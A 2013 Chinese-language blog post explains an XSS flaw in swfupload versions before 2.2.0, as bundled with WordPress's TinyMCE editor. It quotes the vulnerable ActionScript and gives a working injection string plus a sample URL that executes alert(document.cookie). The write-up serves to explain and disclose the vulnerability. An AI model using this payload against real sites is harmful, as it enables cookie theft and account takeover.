2013
Jul
28

Wordpress 中的 TinyMCE 编辑器,他的档案上传工具是使用 swfupload ,swfupload 主要是为了提供 flash 多档案上传功能,在 HTML5 File API 还未开发出来时,我们都是使用 Flash 来达成网页可以同时选取多个档案,以及同时上传。

swfupload 2.2.0 以前的版本,已经被发现一个 XSS 的漏洞。

先来看一段 swfupload ActionScript 3.0 的程式


SWFUpload.as
  1. this.movieName = root.loaderInfo.parameters.movieName;
  2. this.flashReady_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
  3.  
  4. if (ExternalCall.Bool(this.testExternalInterface_Callback)) {
  5. ExternalCall.Simple(this.flashReady_Callback);
  6. this.hasCalledFlashReady = true;
  7. }

前两行有一个很大的问题, input value 没有经过任何检查,这样骇客可以对 movieName 植入任意值,而 4 ,5 又会直接执行 Simple 这个 function。

Simple 的程式码可以看这一段

ExternalCall.as
  1. public static function Simple(callback:String):void {
  2. ExternalInterface.call(callback);
  3. }

这里直接执行了 callback ,也就上一段的 flashReady_Callback , flash 会将 SWFUpload.instancesxxx 这一段文字当成一个字串,并且先 parse 后,交给 Javascript 去执行。

因为最后是交由 Javascript 去执行这一段 code ,所以我们就输入以下的 hack 字串。

XSS injection
  1. "]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //

最后的结果,Javascript 会去执行这段有问题的程式。

XSS injection
  1. try {
  2. return encodeURIComponent( SWFUpload.instances[""] );
  3. } catch (e) {};
  4. if ( typeof(xss) == "undefined" ) { alert(document.cookie); }
  5. var xss=1;
  6. // "].flashReady();


XSS URL sample :

http://xxx.hackwordpress/wp-includes/js/swfupload/swfupload.swf?movieName="]); } catch (e) {}; if ( typeof(xss) == "undefined" ) { alert(document.cookie); } var xss=1; //

相关资料


回應 (Leave a comment)